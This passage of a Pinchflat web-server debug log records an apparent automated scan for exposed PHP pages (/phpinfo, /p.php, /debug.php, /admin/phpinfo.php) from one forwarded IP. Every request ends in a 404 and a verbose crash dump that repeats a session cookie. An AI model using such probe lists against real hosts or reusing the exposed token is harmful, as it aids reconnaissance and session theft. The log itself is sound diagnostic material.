s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:24.272 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:24.272 [error] #PID<0.3531.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 227) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /phpinfo ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/phpinfo", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 227, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3531.0>, params: %{}, path_info: ["phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/phpinfo", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk7Da9A4jYuQUAATiB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/phpinfo", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 227, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/phpinfo", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 227, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: (truncated) 02:10:24.329 [info] GET /p.php 02:10:24.330 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=173.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:24.331 [debug] QUERY OK source="settings" db=0.2ms idle=113.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:24.331 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:24.331 [error] #PID<0.3532.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 228) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /p.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /p (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/p.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 228, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3532.0>, params: %{}, path_info: ["p"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/p.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk7DovP0X9ON0AATjB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/p.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 228, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /p (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/p.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 228, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.ne (truncated) 02:10:24.391 [info] GET /debug.php 02:10:24.391 [debug] QUERY OK source="settings" db=0.2ms idle=174.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:24.392 [debug] QUERY OK source="settings" db=0.1ms idle=119.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:24.392 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:24.392 [error] #PID<0.3533.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 229) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /debug.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /debug (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/debug.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 229, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3533.0>, params: %{}, path_info: ["debug"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/debug.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk7D3fV8m_iJ8AATkB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/debug.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 229, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /debug (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/debug.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 229, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, h (truncated) 02:10:24.454 [info] GET /admin/phpinfo.php 02:10:24.455 [debug] QUERY OK source="settings" db=0.4ms idle=182.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:24.455 [debug] QUERY OK source="settings" db=0.2ms idle=125.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:24.456 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:24.456 [error] #PID<0.3534.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 230) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /admin/phpinfo.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /admin/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 230, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3534.0>, params: %{}, path_info: ["admin", "phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", 